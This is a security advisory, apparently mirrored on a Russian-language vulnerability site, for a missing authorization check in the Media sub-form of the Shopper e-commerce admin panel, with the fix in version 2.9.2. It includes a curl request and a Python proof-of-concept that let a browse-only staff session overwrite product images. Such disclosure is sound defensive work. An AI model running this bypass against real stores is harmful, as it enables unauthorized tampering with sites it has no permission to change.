GHSA-99h5-jhh7-v3r3

Опубликовано: 11 сент. 2026

Источник: github

Github: Прошло ревью

CVSS3: 6.5

Описание

Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call public function store(): void { $this->validate(); $this->product->update($this->form->getState()); // overwrites thumbnail + gallery media $this->dispatch('product.updated'); Notification::make() ->body(__('shopper::pages/products.notifications.media_update')) ->success() ->send(); }

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void { $this->authorize('edit_products'); // present in Edit, Inventory, Seo, Shipping, Files // ... }

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>" XSRF="<url-decoded-XSRF-TOKEN-cookie-value>" # Step 1: Load a product edit page as an admin to obtain the Media component's # Livewire snapshot ID and the product's public ID. # The component snapshot appears in the HTML source as data-livewire-snapshot. # Step 2: As the low-privilege browse-only session, call store() on the Media component, # pointing at the captured component state. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "<snapshot JSON from page source with product locked>", "updates": {}, "calls": [{"path":"","method":"store","params":[]}] }] }' # Expected: HTTP 200, product thumbnail and images updated without edit_products.

Proof of concept

#!/usr/bin/env python3 """ Media component authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE laravel_session cookie value (browse-only staff session) XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component (copy from data-livewire-snapshot in the product edit page source) The snapshot already contains the locked product ID, so no ID substitution is needed. The bypass is purely the missing authorize() on store(). """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] snapshot = os.environ['SNAPSHOT_JSON'] headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{'path': '', 'method': 'store', 'params': []}] }] } r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.status_code}') print(r.text[:500])

Impact

A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

// packages/admin/src/Livewire/Components/Products/Form/Media.php public function store(): void { $this->authorize('edit_products'); // add this line $this->validate(); $this->product->update($this->form->getState()); $this->dispatch('product.updated'); Notification::make() ->body(__('shopper::pages/products.notifications.media_update')) ->success() ->send(); }

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Ссылки

https://github.com/shopperlabs/shopper/security/advisories/GHSA-99h5-jhh7-v3r3

Пакеты

Наименование

shopper/framework

composer

Затронутые версииВерсия исправления

< 2.9.2

2.9.2

EPSS

Процентиль: 30%

0.00362

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-56830

Дефекты

CWE-862

Связанные уязвимости

CVE-2026-56830

CVSS3: 6.5

nvd

4 дня назад

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, an earlier product sub-form hardening change left store() in packages/admin/src/Livewire/Components/Products/Form/Media.php without the edit_products authorization check used by sibling sub-forms. An authenticated staff user with browse_products can invoke the Livewire store action and replace the thumbnail and gallery images for a product whose Media component was initialized, even without product-edit permission. The product binding is locked, so the attacker cannot redirect the update to an arbitrary product through client-side ID substitution, and the impact is limited to products whose edit pages were loaded. This issue is fixed in version 2.9.2.

EPSS

Процентиль: 30%

0.00362

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-56830

Дефекты

CWE-862